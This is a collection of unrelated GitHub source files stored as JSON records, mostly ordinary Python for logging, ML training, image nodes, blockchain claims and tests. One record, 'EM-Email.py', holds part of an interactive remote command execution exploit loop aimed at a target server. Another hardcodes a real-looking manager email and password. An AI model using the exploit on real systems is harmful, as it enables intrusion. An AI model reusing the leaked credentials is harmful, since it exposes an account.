newk)\n return newk\n\n def send_data(self, data):\n \"\"\"\n Send data to Graphite.\n\n :param data: list of data dicts\n :type data: list\n \"\"\"\n send_str = ''\n for d in data:\n ts = time.mktime(d['datetime'].timetuple())\n for k in sorted(d.keys()):\n if k == 'datetime':\n continue\n send_str += \"%s %s %d\\n\" % (\n 'wattsup.%s' % self._clean_name(k),\n d[k],\n ts\n )\n self._graphite_send(send_str)\n\n def send_average(self, data):\n \"\"\"\n Send average of data to Graphite.\n\n :param data: list of data dicts\n :type data: list\n \"\"\"\n avgs = defaultdict(list)\n dt = None\n for record in data:\n if dt is None:\n dt = record['datetime']\n for key, val in record.items():\n if key == 'datetime':\n continue\n avgs[key].append(val)\n result = {}\n for key, values in avgs.items():\n if key.endswith('min'):\n result[key] = min(values)\n elif key.endswith('max'):\n result[key] = max(values)\n else:\n # mean\n result[key] = sum(values) / float(len(values))\n result['datetime'] = dt\n self.send_data([result])\n\n\ndef parse_args(argv):\n \"\"\"\n parse arguments/options\n\n this uses the new argparse module instead of optparse\n see: \n \"\"\"\n p = argparse.ArgumentParser(description='Read and log data from WattsUp Pro')\n p.add_argument('-v', '--verbose', dest='verbose', action='count', default=0,\n help='verbose output. specify twice for debug-level output.')\n p.add_argument('-d', '--device', dest='device', action='store', type=str,\n default='/dev/ttyUSB0',\n help='device representing WattsUp (default: /dev/ttyUSB0)')\n p.add_argument('-n', '--num-samples', dest='num_samples', action='store',\n type=int, default=3,\n help='number of samples to read (default 3)')\n p.add_argument('-a', '--average', dest='average', action='store_true',\n default=False, help='average together read samples (except '\n 'min and max measurements) and '\n 'log one reading, rather that logging'\n 'individual readings')\n p.add_argument('-f', '--file', dest='fname', action='store', type=str,\n default=None, help='path to file to append CSV logs to. If '\n 'not specified, logs will print to'\n 'STDOUT as CSV, with a header')\n p.add_argument('-i', '--interval', dest='interval', action='store',\n type=int, default=2,\n help='interval to have WattsUp log data at, in seconds '\n '(default 1)')\n p.add_argument('-g', '--graphite', dest='graphite', action='store_true',\n default=False,\n help='Send metrics to Graphite; use -H|--graphite-host '\n 'and -P|--graphite-port to set host and port if other '\n 'than 127.0.0.1:2003')\n p.add_argument('-H', '--graphite-host', dest='graphite_host',\n action='store', default='127.0.0.1',\n help='graphite host (default: 127.0.0.1)')\n p.add_argument('-P', '--graphite-port', dest='graphite_port',\n action='store', type=int, default=2003,\n help='graphite plaintext port (default: 2003)')\n args = p.parse_args(argv)\n\n return args\n\ndef set_log_info():\n \"\"\"set logger level to INFO\"\"\"\n set_log_level_format(logging.INFO,\n '%(asctime)s %(levelname)s:%(name)s:%(message)s')\n\n\ndef set_log_debug():\n \"\"\"set logger level to DEBUG, and debug-level output format\"\"\"\n set_log_level_format(\n logging.DEBUG,\n \"%(asctime)s [%(levelname)s %(filename)s:%(lineno)s - \"\n \"%(name)s.%(funcName)s() ] %(message)s\"\n )\n\n\ndef set_log_level_format(level, format):\n \"\"\"\n Set logger level and format.\n\n :param level: logging level; see the :py:mod:`logging` constants.\n :type level: int\n :param format: logging formatter format string\n :type format: str\n \"\"\"\n formatter = logging.Formatter(fmt=format)\n logger.handlers[0].setFormatter(formatter)\n logger.setLevel(level)\n\nif __name__ == \"__main__\":\n args = parse_args(sys.argv[1:])\n\n # set logging level\n if args.verbose > 1:\n set_log_debug()\n elif args.verbose == 1:\n set_log_info()\n\n reader = WattsUpReader(device=args.device, interval=args.interval)\n data = reader.read(args.num_samples)\n logger.debug('Final data: %s', data)\n log = Logger(args.fname)\n if args.average:\n log.log_average(data)\n else:\n log.log_data(data)\n if args.graphite:\n g = GraphiteSender(args.graphite_host, args.graphite_port)\n if args.average:\n g.send_average(data)\n else:\n g.send_data(data)\n","repo_name":"jantman/misc-scripts","sub_path":"watts_up_pro_logger.py","file_name":"watts_up_pro_logger.py","file_ext":"py","file_size_in_byte":14781,"program_lang":"python","lang":"en","doc_type":"code","stars":133,"dataset":"github-code","pt":"52"} +{"seq_id":"75191390884","text":"import os\nimport torchvision.transforms.functional as TF\nfrom PIL import Image\n\nclass PictureIndex:\n def __init__(self) -> None:\n pass\n\n @classmethod\n def INPUT_TYPES(cls):\n return {\n \"required\": {\n \"path\": (\"STRING\", {\"default\": \"\"}),\n \"index\": (\"INT\", {\"default\": 0, \"min\": 0, \"max\": 0xffffffffffffffff}),\n },\n }\n\n RETURN_TYPES = (\"IMAGE\",)\n FUNCTION = \"doStuff\"\n CATEGORY = \"VextraNodes\"\n\n def doStuff(self, path, index):\n if not os.path.exists(path):\n raise Exception(\"Path does not exist\")\n images = []\n for image in os.listdir(path):\n if any(image.endswith(ext) for ext in [\".png\", \".jpg\", \".jpeg\"]):\n images.append(image)\n image = Image.open(os.path.join(path, images[index]))\n image = TF.to_tensor(image)\n print(image)\n\n\n\n return (image,)\n\nNODE_CLASS_MAPPINGS = {\n \"Load Picture Index\": PictureIndex,\n}","repo_name":"diontimmer/ComfyUI-Vextra-Nodes","sub_path":"nodes/DT_Load_Picture_Index.py","file_name":"DT_Load_Picture_Index.py","file_ext":"py","file_size_in_byte":993,"program_lang":"python","lang":"en","doc_type":"code","stars":42,"dataset":"github-code","pt":"52"} +{"seq_id":"71333772005","text":"number = 1\n\nwhile number <= 1500:\n if number % 2 != 0:\n print(number)\n number = number + 1\n\n\n#lists\nL = []\n\nwhile len(L) < 3:\n new_name = input(\"Pease add a new name\").strip().capitalize()\n L.append(new_name)\nprint(\"Sorry list is full\")\n","repo_name":"ajwal14/Springboard-DSBC","sub_path":"Documents/Python_Bible/while.py","file_name":"while.py","file_ext":"py","file_size_in_byte":256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"13377263780","text":"import numpy as np\nimport time\nimport re\nimport torch\nimport torch.optim as optim\n\nfrom torch import Tensor\nfrom torch.utils.data import DataLoader\nfrom datetime import date\n\nfrom nets import FCNN, VGGFeatureExtractor, Discriminator\nfrom dataset import COCO\nfrom utils import init_weights\nfrom losses import LossE, LossP, LossA, LossT\n\n\ndef multiple_train(net, loss_type, optimizer, device, epochs, batch_size=1, load_weights=False, state_dict=''):\n net.train()\n step_update = 100\n data = COCO('data/train/', 'data/target/')\n data_loader = DataLoader(data, batch_size=batch_size, shuffle=True, num_workers=4)\n lossA = False\n losses = []\n losses_d = []\n losses_g = []\n last_out = []\n last_tar = []\n D_xs = []\n D_gs = []\n criterions = []\n D_x = D_G_z = 0.0\n num_imgs = len(data_loader)\n PER_CHANNEL_MEANS_32 = np.zeros((batch_size, 3, 32, 32))\n PER_CHANNEL_MEANS_32[1].fill(0.47614917)\n PER_CHANNEL_MEANS_32[2].fill(0.45001204)\n PER_CHANNEL_MEANS_32[3].fill(0.40904046)\n PER_CHANNEL_MEANS_32 = torch.from_numpy(PER_CHANNEL_MEANS_32).cuda()\n PER_CHANNEL_MEANS_128 = np.zeros((batch_size, 3, 128, 128))\n PER_CHANNEL_MEANS_128[1].fill(0.47614917)\n PER_CHANNEL_MEANS_128[2].fill(0.45001204)\n PER_CHANNEL_MEANS_128[3].fill(0.40904046)\n PER_CHANNEL_MEANS_128 = torch.from_numpy(PER_CHANNEL_MEANS_128).cuda()\n if load_weights:\n print('Loading {x}'.format(x=state_dict))\n net.load_state_dict(torch.load('trained_models/{x}.pth'.format(x=state_dict), map_location=torch.device('cpu')))\n starting_epoch = int(re.sub(\"[^0-9]\", \"\", state_dict))\n for el in loss_type:\n if el == 'E':\n criterions.append(LossE)\n elif el == 'P':\n criterions.append(LossP)\n vgg = [VGGFeatureExtractor().float(), VGGFeatureExtractor(pool_layer_num=36).float()]\n elif el == 'A':\n criterions.append(LossA)\n disc = Discriminator()\n disc.float()\n disc.cuda()\n optim_d = optim.Adam(disc.parameters(), lr=1e-4, betas=(0.5, 0.999))\n lossA = True\n elif el == 'T':\n criterions.append(LossT)\n vgg_T = [VGGFeatureExtractor(pool_layer_num=0).float(),\n VGGFeatureExtractor(pool_layer_num=5).float(),\n VGGFeatureExtractor(pool_layer_num=10).float()]\n\n for e in range(epochs):\n start = time.perf_counter()\n start_step = start\n print('Epoch %d.' % (e + 1))\n epoch_times = []\n first_step = True\n\n for i, (images, targets, bicub) in enumerate(data_loader):\n optimizer.zero_grad()\n\n images = images.to(device)\n targets = targets.to(device)\n bicub = bicub.to(device)\n\n loss = Tensor(np.zeros(1)).cuda()\n output = net(images.float() - PER_CHANNEL_MEANS_32.float())\n output = torch.add(torch.add(output, bicub).clamp(0, 1), PER_CHANNEL_MEANS_128.float())\n output = output.to(device)\n\n for criterion in criterions:\n if criterion == LossP:\n loss += criterion(vgg, device, output.float(), targets.float())\n\n elif criterion == LossA:\n if 'T' in loss_type:\n loss_g, loss_d, D_x, D_G_z = criterion(disc, device, output.float(),\n targets.float(), optim_d, [last_out, last_tar],\n True, first_step=first_step)\n else:\n loss_g, loss_d, D_x, D_G_z = criterion(disc, device, output.float(),\n targets.float(), optim_d, [last_out, last_tar],\n False, first_step=first_step)\n loss += loss_g.mean().item()\n\n elif criterion == LossT:\n loss += criterion(vgg_T, device, output.float(), targets.float())\n\n else:\n loss += criterion(device, output.float(), targets.float())\n\n first_step = False\n if not first_step:\n last_out = output\n last_tar = targets\n losses.append(loss.detach().item())\n\n loss.backward()\n optimizer.step()\n\n\n if lossA:\n losses_d.append(loss_d.detach().mean().item())\n losses_g.append(loss_g.detach().mean().item())\n D_xs.append(D_x)\n D_gs.append(D_G_z)\n\n if i % step_update == 0 and i is not 0:\n end_step = time.perf_counter()\n print('Epoch %d/%d - Step: %d/%d Loss G: %f (%f) Loss D: %f D(x): %f D(G(z)): %f' % (e + 1, epochs,\n i, len(data_loader),\n sum(losses) / step_update,\n sum(losses_g) / step_update if lossA else 0.0,\n sum(losses_d) / step_update if lossA else 0.0,\n sum(D_xs) / step_update if lossA else 0.0,\n sum(D_gs) / step_update if lossA else 0.0))\n epoch_times.append(end_step - start_step)\n hours, rem = divmod((sum(epoch_times) / len(epoch_times)) * (num_imgs - i) / 100, 3600)\n minutes, seconds = divmod(rem, 60)\n print('Time for the last step: {:05.2f} s Epoch ETA: {:0>2}:{:0>2}:{:0>2}'.format(\n end_step - start_step,\n int(hours),\n int(minutes),\n int(seconds)))\n losses = []\n losses_d = []\n losses_g = []\n D_xs = []\n D_gs = []\n start_step = time.perf_counter()\n\n end = time.perf_counter()\n print('Epoch %d ended, elapsed time: %f seconds.' % (e + 1, round((end - start), 2)))\n\n print('Saving checkpoint.')\n today = date.today()\n t = time.localtime()\n current_time = time.strftime(\"%H:%M:%S\", t)\n if load_weights:\n torch.save(net.state_dict(), 'state_{d}e_{mode}_{date}_{time}.pth'.format(d=e + starting_epoch + 1,\n mode=''.join(loss_type),\n date=today.strftime(\"%b-%d-%Y\"),\n time=current_time))\n else:\n torch.save(net.state_dict(), 'state_{d}e_{mode}_{date}_{time}.pth'.format(d=e + 1,\n mode=''.join(loss_type),\n date=today.strftime(\"%b-%d-%Y\"),\n time=current_time))\n\n\nif __name__ == '__main__':\n batch_size = 8\n epochs = 2\n lr = 1e-4\n betas = (0.5, 0.999)\n loss_type = ['P', 'A']\n load_weights = False\n state_dict = 'state_1e_E'\n net = FCNN(input_channels=3, batch_size=batch_size)\n net.float()\n net.cuda()\n net.apply(init_weights)\n\n device = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n\n try:\n multiple_train(net, loss_type, optim.Adam(net.parameters(), lr=lr, betas=betas), device, epochs=epochs,\n batch_size=batch_size * 4,\n load_weights=load_weights, state_dict=state_dict)\n except KeyboardInterrupt:\n print('Training interrupted. Saving model.')\n today = date.today()\n t = time.localtime()\n current_time = time.strftime(\"%H:%M:%S\", t)\n torch.save(net.state_dict(), 'state_interrupt_{mode}_{date}_{time}.pth'.format(mode=''.join(loss_type),\n date=today.strftime(\"%b-%d-%Y\"),\n time=current_time))\n","repo_name":"fmalato/ML_project_GANs","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":8661,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"6918996108","text":"from websocket import create_connection\nimport uuid\nimport json\n\n\ndef get_token_from_bo():\n ws = create_connection(\"wss://manager-gtw.k.fasten.com/manager-gtw/manager\")\n sequence_id = str(uuid.uuid4())\n x = '{\"type\": \"LOGIN_MANAGER\", \"sequence_id\": \"' + sequence_id + '\", \"data\":{\"email\":\"v.kondratev@fasten.com\", \"password\":\"BV#1Q#3T5bf\"}}'\n ws.send(x)\n mess = json.loads(ws.recv())\n ws.close()\n if mess:\n if mess['sequence_id'] == sequence_id:\n # print(mess['data']['slt'])\n return mess['data']['slt']\n\n\n\n#токен сохрании и переиспользуй обновляй по мере не обходимости\n\n#https://manager-http-gtw.k.fasten.com/history/api/public/v1/manager/orders/0701ea4c-c7bb-4207-ac5f-a39b73e0fd6b\n\ndef get_info_from_bo(type_ws, data_ws):\n ws = create_connection(\"wss://manager-gtw.k.fasten.com/manager-gtw/manager\")\n sequence_id = str(uuid.uuid4())\n x = '{\"api_token\": \"' + get_token_from_bo() + '\", \"type\": \"' + type_ws + '\", \"sequence_id\": \"' + sequence_id + '\", \"data\": ' + data_ws + '}'\n ws.send(x)\n mess = json.loads(ws.recv())\n ws.close()\n if mess:\n if mess['sequence_id'] == sequence_id:\n if mess['data']:\n # print(mess['data']['error_code'])\n if 'error_code' in mess['data']:\n get_token_from_bo()\n else:\n return mess['data']\n else:\n return 'ERROR'","repo_name":"avengerSAT/anti_fraud_pub","sub_path":"fraud_inspector/track_points_map.py","file_name":"track_points_map.py","file_ext":"py","file_size_in_byte":1487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"8741624257","text":"import sys\nfrom PyQt5.QtWidgets import *\n\n\nclass FunnyButton(QPushButton):\n def __init__(self, txt, parent):\n QPushButton.__init__(self, txt, parent)\n self.setMouseTracking(True)\n\n def mouseMoveEvent(self, evt):\n #print('Mouse moved!')\n if evt.y() str:\n \"\"\" Gets the ISO 3166-1 alpha-2 country code of the user \"\"\"\n return 'gb'\n # return current_user.spotify_country_code\n\ndef _headers() -> dict:\n return {\n 'Content-Type': 'application/json',\n 'Authorization': f\"Bearer {_TOKEN}\"\n }\n\ndef config_list_to_comma_str(data_list: list) -> str:\n \"\"\" Converts a Python list into a comma-separated string. \"\"\"\n return ','.join(data_list)","repo_name":"Salvo9879/Xenon","sub_path":"xenon/spotify3/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":850,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"16568617820","text":"from stellar_sdk import Asset,Claimant,ClaimPredicate,Keypair,Network,Server,TransactionBuilder\nimport requests\nfrom datetime import datetime\nimport json\nimport time\n\npk = \"--secret-key--\"\n\nkeypair = Keypair.from_secret(pk)\n\ndef format_date(x):\n x = x.split('T')\n date = x[0].split('-')\n time = x[1].split('Z')[0]\n new_str = f\"{date[2]}/{date[1]}/{date[0][2:5]} {time}\"\n return new_str\n\ndef find_trustlines(address):\n # print(\"searching for trustlines...\") \n print()\n trustlines = []\n acc_url = f\"https://horizon.stellar.org/accounts/{address}\"\n x = requests.get(acc_url).json()['balances']\n t = list(filter(lambda x:x[\"asset_type\"]==\"credit_alphanum4\",x))\n for i in t:\n trustlines.append(f\"{i['asset_code']}:{i['asset_issuer']}\")\n # print(f\"found trustline: {i['asset_code']}\")\n return trustlines\n\ndef is_claimable(predicate_tree,key):\n x = (list(filter(lambda x:x[\"destination\"]==key,predicate_tree))[0])\n # print({\"x\" : x})\n p = x[\"predicate\"]\n now = datetime.utcnow()\n if p == {\"unconditional\" : True}:\n return True\n else:\n if 'abs_before' in p:\n # print('claim before: ' + format_date(p[\"abs_before\"]))\n claim_before = format_date(p[\"abs_before\"])\n before_date = datetime.strptime(claim_before, '%d/%m/%y %H:%M:%S') \n if now < before_date:\n return True\n else:\n return False\n elif 'and' in p:\n claim_before = format_date(p[\"and\"][0][\"abs_before\"])\n claim_after = format_date(p[\"and\"][1][\"not\"][\"abs_before\"])\n before_date = datetime.strptime(claim_before, '%d/%m/%y %H:%M:%S') \n after_date = datetime.strptime(claim_before, '%d/%m/%y %H:%M:%S')\n if now>after_date and now(.|\\n)*', response.text)\r\n CmdShow = response.text.replace(result[0], \"\")\r\n print(CmdShow)\r\n except Exception as e:\r\n print(\"[-] Server not support this command\")\r\n\r\n\r\nif __name__ == '__main__':\r\n if (len(sys.argv) < 2):\r\n print(\"UseAge: python3 explot.py target\")\r\n print(\"Example: python3 explot.py https://192.168.1.2/\")\r\n sys.exit()\r\n headers = {\r\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.170 Safari/537.36\",\r\n \"Content-Type\": \"application/x-www-form-urlencoded\"\r\n }\r\n target = sys.argv[1]\r\n requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)\r\n while Checking() is True:\r\n Exploit()\r\n","repo_name":"SD-XD/TestPython","sub_path":"EM-Email.py","file_name":"EM-Email.py","file_ext":"py","file_size_in_byte":2025,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"52"} +{"seq_id":"8472718586","text":"import os\nfrom typing import TYPE_CHECKING, Generator\n\nimport httpx\n\nfrom githubkit.exception import AuthCredentialError\n\nfrom .base import BaseAuthStrategy\n\nif TYPE_CHECKING:\n from githubkit import GitHubCore\n\n\nclass ActionAuth(httpx.Auth):\n def auth_flow(\n self, request: httpx.Request\n ) -> Generator[httpx.Request, httpx.Response, None]:\n token = os.environ.get(\"GITHUB_TOKEN\", os.environ.get(\"INPUT_GITHUB_TOKEN\"))\n if not token:\n raise AuthCredentialError(\n \"`GITHUB_TOKEN` is not provided. \"\n \"Use `env:` or `with:` to input a token.\"\n )\n request.headers[\"Authorization\"] = f\"token {token}\"\n yield request\n\n\nclass ActionAuthStrategy(BaseAuthStrategy):\n def get_auth_flow(self, github: \"GitHubCore\") -> httpx.Auth:\n return ActionAuth()\n","repo_name":"yanyongyu/githubkit","sub_path":"githubkit/auth/action.py","file_name":"action.py","file_ext":"py","file_size_in_byte":848,"program_lang":"python","lang":"en","doc_type":"code","stars":97,"dataset":"github-code","pt":"52"} +{"seq_id":"38965170462","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Apr 09 16:25:20 2018\r\n\r\n@author: Enrique\r\n\"\"\"\r\n\r\nimport xml.etree.cElementTree as ET\r\nfrom collections import defaultdict\r\nimport pprint\r\n\r\nOSMFILE = \"bogota_sample.osm\"\r\n\r\n#%%\r\n'''\r\nThis modified version of the audit function prints the values of the k attributes of the tags\r\nThis lets me see if the tags used here are similar to the example and if there are any new ones\r\n'''\r\ndef list_k(osmfile):\r\n osm_file = open(osmfile, \"r\")\r\n k_tags = defaultdict(set)\r\n for event, elem in ET.iterparse(osm_file, events=(\"start\",)):\r\n\r\n if elem.tag == \"node\" or elem.tag == \"way\":\r\n for tag in elem.iter(\"tag\"):\r\n k_tags['k'].add(tag.attrib['k'])\r\n osm_file.close()\r\n return k_tags\r\n\r\n#%%\r\n'''\r\nThis simply runs the audit and prints the results\r\n'''\r\ntypes = list_k(OSMFILE)\r\npprint.pprint(dict(types))\r\n\r\n#%%\r\n","repo_name":"kiquin/DAND","sub_path":"02/py extras/klist.py","file_name":"klist.py","file_ext":"py","file_size_in_byte":900,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"14877697179","text":"import cv2\n\nbox_size = 80\nbox_speed = 5\n\ncap = cv2.VideoCapture(0)\n\nbox_x = 0\nbox_y = 0\nbox_dx = box_speed\nbox_dy = box_speed\nbox_angle = 45\n\nfont = cv2.FONT_HERSHEY_SIMPLEX\nfont_scale = 1\nfont_thickness = 2\n\nwhile True:\n\n ret, frame = cap.read()\n\n if not ret:\n break\n\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n\n face_cascade = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')\n faces = face_cascade.detectMultiScale(gray, scaleFactor=1.3, minNeighbors=5)\n if len(faces) > 0:\n (x, y, w, h) = faces[0]\n\n box_x += box_dx\n box_y += box_dy\n if box_x < 0 or box_x + box_size > frame.shape[1]:\n box_dx = -box_dx\n box_x += box_dx\n if box_y < 0 or box_y + box_size > frame.shape[0]:\n box_dy = -box_dy\n box_y += box_dy\n\n cv2.rectangle(frame, (box_x, box_y), (box_x + box_size, box_y + box_size), (0, 0, 255), 2)\n else:\n\n box_x = int(frame.shape[1] / 2 - box_size / 2)\n box_y = int(frame.shape[0] / 2 - box_size / 2)\n box_dx = box_speed\n box_dy = box_speed\n box_angle = 45\n\n text = \"MBS3523 Assignment 1b - Q3 Name: Lai Ho\"\n text_size, _ = cv2.getTextSize(text, font, font_scale, font_thickness)\n text_x = int(frame.shape[1] / 2 - text_size[0] / 2)\n cv2.putText(frame, text, (text_x, text_size[1]), font, font_scale, (255, 255, 255), font_thickness, cv2.LINE_AA)\n\n cv2.imshow('frame', frame)\n\n if cv2.waitKey(1) == 27:\n break\n\ncap.release()\ncv2.destroyAllWindows()\n","repo_name":"Hosen-Lai/MBS3523_ans","sub_path":"MBS3523_Asn1Q3.py","file_name":"MBS3523_Asn1Q3.py","file_ext":"py","file_size_in_byte":1549,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"9811128001","text":"from unittest import mock\n\nfrom django.test import TestCase, override_settings\n\nfrom signals.apps.signals.factories import SignalFactory\nfrom signals.apps.signals.managers import (\n create_initial,\n update_category_assignment,\n update_location\n)\n\n\n@override_settings(FEATURE_FLAGS={'DSL_RUN_ROUTING_EXPRESSIONS_ON_UPDATES': True})\nclass TestSignalsSignalReceivers(TestCase):\n def setUp(self):\n self.signal = SignalFactory.create()\n\n @mock.patch('signals.apps.signals.signal_receivers.tasks', autospec=True)\n def test_signals_create_initial_handler(self, mocked_tasks):\n create_initial.send_robust(\n sender=self.__class__,\n signal_obj=self.signal,\n )\n\n mocked_tasks.apply_routing.delay.assert_called_once_with(\n self.signal.id\n )\n\n @mock.patch('signals.apps.signals.signal_receivers.tasks', autospec=True)\n def test_signals_update_location_handler(self, mocked_tasks):\n update_location.send_robust(\n sender=self.__class__,\n signal_obj=self.signal,\n )\n\n mocked_tasks.apply_routing.delay.assert_called_once_with(\n self.signal.id\n )\n\n @mock.patch('signals.apps.signals.signal_receivers.tasks', autospec=True)\n def test_signals_update_category_assignment_handler(self, mocked_tasks):\n update_category_assignment.send_robust(\n sender=self.__class__,\n signal_obj=self.signal,\n )\n\n mocked_tasks.apply_routing.delay.assert_called_once_with(\n self.signal.id\n )\n","repo_name":"Amsterdam/signals","sub_path":"app/signals/apps/signals/tests/test_signal_receivers.py","file_name":"test_signal_receivers.py","file_ext":"py","file_size_in_byte":1571,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"52"} +{"seq_id":"18698245086","text":"from django.db import transaction\nfrom ecommerce.models.sales.warehouse import Warehouse\nfrom enums import InventoryTXNType\nfrom generics.libs.loader.loader import load_model\nfrom inventory.models.inventory_transaction import InventoryTransaction\nfrom inventory.models.product_supplier import ProductSupplier\nfrom logger.models.error_log import ErrorLog\n\n\nclass InventoryUploader(object):\n def __init__(self, data=[], *args, **kwargs):\n self.data = data\n self.args = args\n self.kwargs = kwargs\n\n def handle_upload(self):\n Book = load_model(app_label=\"book_rental\", model_name=\"Book\")\n Inventory = load_model(app_label=\"inventory\", model_name=\"Inventory\")\n self.data = self.data[1:]\n for row in self.data:\n try:\n with transaction.atomic():\n index = 0\n code = row[index].strip() if row[index] else None\n index += 1\n warehouse_code = row[index] if row[index] else None\n index += 1\n product_code = row[index] if row[index] else None\n index += 1\n is_new = 1 if row[index] else 0\n index += 1\n printing_type = row[index] if row[index] else None\n index += 1\n current_stock = row[index] if row[index] else 0\n index += 1\n new_stock = row[index] if row[index] else 0\n index += 1\n available_for_sale = row[index] if row[index] else 0\n index += 1\n available_for_rent = row[index] if row[index] else 0\n index += 1\n available_for_buy = row[index] if row[index] else 0\n index += 1\n supplier_name = row[index]\n index += 1\n address1 = row[index]\n index += 1\n address2 = row[index]\n index += 1\n address3 = row[index]\n index += 1\n address4 = row[index]\n index += 1\n phone1 = row[index]\n index += 1\n phone2 = row[index]\n index += 1\n note = row[index]\n\n if any([ not item for item in [ warehouse_code, product_code, printing_type ] ]):\n ErrorLog.log(url='', stacktrace='Book Upload missing data: %s. Skipping...' % str(row),\n context=Inventory.__name__)\n continue\n\n if not int(new_stock) or int(new_stock) < 0:\n ErrorLog.log(url='', stacktrace='New stock must be greater than 0. Provided: %s. Skipping...' % str(new_stock),\n context=Inventory.__name__)\n\n warehouse_object = None\n warehouse_objects = Warehouse.objects.filter(code=str(warehouse_code))\n if warehouse_objects.exists():\n warehouse_object = warehouse_objects.first()\n else:\n ErrorLog.log(url='', stacktrace='Missing warehouse in inventory upload. data: %s. Skipping...' % str(warehouse_code),\n context=Inventory.__name__)\n continue\n\n book_object = None\n book_objects = Book.objects.filter(code=str(product_code))\n if book_objects.exists():\n book_object = book_objects.first()\n else:\n ErrorLog.log(url='',\n stacktrace='Missing book in inventory upload. data: %s. Skipping...' % str(product_code),\n context=Inventory.__name__)\n continue\n\n try:\n current_stock = int(current_stock)\n except:\n ErrorLog.log(url='',\n stacktrace='Invalid current_stock. Number expected. data: %s. Skipping...' % str(current_stock),\n context=Inventory.__name__)\n continue\n\n try:\n new_stock = int(new_stock)\n except:\n ErrorLog.log(url='',\n stacktrace='Invalid new_stock. Number expected. data: %s. Skipping...' % str(\n new_stock),\n context=Inventory.__name__)\n continue\n\n try:\n is_new = int(is_new)\n except:\n ErrorLog.log(url='',\n stacktrace='Invalid Is New. 1 or 0 expected. data: %s. Skipping...' % str(is_new),\n context=Inventory.__name__)\n continue\n\n if is_new == 1:\n is_new = True\n elif is_new == 0:\n is_new = False\n\n try:\n available_for_sale = int(available_for_sale)\n except:\n ErrorLog.log(url='',\n stacktrace='Invalid available_for_sale. 1 or 0 expected. data: %s. Skipping...' % str(\n available_for_sale),\n context=Inventory.__name__)\n continue\n\n try:\n available_for_rent = int(available_for_rent)\n except:\n ErrorLog.log(url='',\n stacktrace='Invalid available_for_rent. 1 or 0 expected. data: %s. Skipping...' % str(\n available_for_rent),\n context=Inventory.__name__)\n continue\n\n try:\n available_for_buy = int(available_for_buy)\n except:\n ErrorLog.log(url='',\n stacktrace='Invalid available_for_buy. 1 or 0 expected. data: %s. Skipping...' % str(\n available_for_buy),\n context=Inventory.__name__)\n continue\n\n if available_for_sale == 1:\n available_for_sale = True\n elif available_for_sale == 0:\n available_for_sale = False\n\n if available_for_rent == 1:\n available_for_rent = True\n elif available_for_rent == 0:\n available_for_rent = False\n\n if available_for_buy == 1:\n available_for_buy = True\n elif available_for_buy == 0:\n available_for_buy = False\n\n if printing_type not in [ 'COL', 'ORI', 'ECO' ]:\n ErrorLog.log(url='',\n stacktrace='Printing type must be in COL, ORI, ECO. data: %s. Skipping...' % str(\n printing_type),\n context=Inventory.__name__)\n continue\n\n if code:\n inventory_objects = Inventory.objects.filter(code=code)\n if inventory_objects.exists():\n inventory_object = inventory_objects.first()\n else:\n ErrorLog.log(url='',\n stacktrace='Invalid inventory code. data: %s. Skipping...' % str(code),\n context=Inventory.__name__)\n continue\n else:\n inventory_objects = Inventory.objects.filter(warehouse_id=warehouse_object.pk,\n product_id=book_object.pk,\n product_model=book_object.__class__.__name__,\n is_new=is_new,\n print_type=printing_type,\n available_for_rent=available_for_rent)\n if inventory_objects.exists():\n inventory_object = inventory_objects.first()\n else:\n inventory_object = Inventory()\n\n stock = inventory_object.stock + new_stock\n\n inventory_object.product_id = book_object.pk\n inventory_object.product_model = book_object.__class__.__name__\n inventory_object.warehouse_id = warehouse_object.pk\n inventory_object.stock = stock\n inventory_object.available_for_sale = available_for_sale\n inventory_object.available_for_rent = available_for_rent\n inventory_object.available_for_buy = available_for_buy\n inventory_object.is_new = is_new\n inventory_object.print_type = printing_type\n inventory_object.comment = note\n inventory_object.save()\n\n supplier_object = None\n if supplier_name:\n supplier_objects = ProductSupplier.objects.filter(name=str(supplier_name))\n if supplier_objects.exists():\n supplier_object = supplier_objects.first()\n else:\n supplier_object = ProductSupplier()\n supplier_object.name = str(supplier_name)\n supplier_object.address_line1 = str(address1)\n supplier_object.address_line2 = str(address2)\n supplier_object.address_line3 = str(address3)\n supplier_object.address_line4 = str(address4)\n supplier_object.phone_number1 = str(phone1)\n supplier_object.phone_number2 = str(phone2)\n supplier_object.notes = str(note)\n supplier_object.save()\n inventory_transaction = InventoryTransaction()\n inventory_transaction.transaction_type = InventoryTXNType.STOCK_IN.value\n inventory_transaction.qty = new_stock\n if supplier_object:\n inventory_object.supplier_id = supplier_object.pk\n inventory_transaction.warehouse_id = warehouse_object.pk\n inventory_transaction.product_id = book_object.pk\n inventory_transaction.product_model = book_object.__class__.__name__\n inventory_transaction.is_new = is_new\n inventory_transaction.print_type = printing_type\n inventory_transaction.save()\n except Exception as exp:\n ErrorLog.log(url='',\n stacktrace='Exception Occured. Message: %s. Skipping...' % str(exp),\n context=Inventory.__name__)\n return True\n\n\n\n\n\n","repo_name":"codenginebd/obr","sub_path":"book_rental/libs/uploader/inventory_uploader.py","file_name":"inventory_uploader.py","file_ext":"py","file_size_in_byte":11841,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"3277965264","text":"# Our imports\nimport utils\n\n# Third party imports\nimport yfinance as yf\nimport datetime\nimport 